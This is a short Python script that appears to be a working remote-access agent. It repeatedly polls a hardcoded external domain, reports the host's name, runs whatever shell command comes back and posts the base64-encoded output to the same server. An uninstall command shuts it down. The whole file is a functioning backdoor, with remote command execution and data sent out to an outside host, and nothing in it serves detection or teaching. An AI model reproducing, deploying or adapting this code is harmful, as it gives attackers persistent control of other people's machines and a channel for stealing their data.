#!/usr/bin/env python3 import os import sys import time import json import base64 import socket import subprocess import requests import requests.adapters HOSTNAME = socket.gethostname() WORKER_URL = "https://a.xn-532-704.org" SLEEP_INTERVAL = 30 # Default - will be overridden by worker response # Force IPv4 old_getaddrinfo = socket.getaddrinfo def new_getaddrinfo(*args, **kwargs): responses = old_getaddrinfo(*args, **kwargs) return [response for response in responses if response[0] == socket.AF_INET] socket.getaddrinfo = new_getaddrinfo def execute_command(command): try: process = subprocess.run(command, shell=True, capture_output=True, text=True) return process.stdout + process.stderr except Exception as e: return f"Error executing command: {str(e)}" def main(): global SLEEP_INTERVAL while True: try: response = requests.get(f"{WORKER_URL}/endpoint?hostname={HOSTNAME}") data = response.json() command = data.get('command', '') command_id = data.get('id', '') new_sleep_interval = data.get('timeout') if new_sleep_interval is not None and isinstance(new_sleep_interval, (int, float)) and new_sleep_interval > 0: if new_sleep_interval != SLEEP_INTERVAL: SLEEP_INTERVAL = new_sleep_interval if command == "UNINSTALL": requests.post( f"{WORKER_URL}/endpoint?hostname={HOSTNAME}", headers={"Content-Type": "application/json"}, json={"id": command_id, "response": "Uninstall command received, shutting down client"} ) sys.exit(0) if command and command != "null": result = execute_command(command) encoded_result = base64.b64encode(result.encode()).decode() requests.post( f"{WORKER_URL}/endpoint?hostname={HOSTNAME}", headers={"Content-Type": "application/json"}, json={"id": command_id, "response": encoded_result, "encoding": "base64"} ) except Exception as e: pass time.sleep(SLEEP_INTERVAL) if __name__ == "__main__": main()